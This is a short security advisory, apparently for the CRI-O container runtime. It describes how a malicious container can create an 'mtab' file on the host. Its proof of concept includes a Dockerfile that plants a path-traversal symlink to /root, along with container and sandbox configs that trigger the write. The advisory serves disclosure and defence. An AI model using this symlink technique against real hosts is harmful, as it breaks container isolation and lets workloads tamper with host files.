Summary
malicious container creates symlink "mtab" on the host External
Details

Impact

A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra .

```

and this container config:

``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } }

and this sandbox config { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "security_context": { "namespace_options": { "network": 2 } } } }

```

will create a file on host /host/mtab
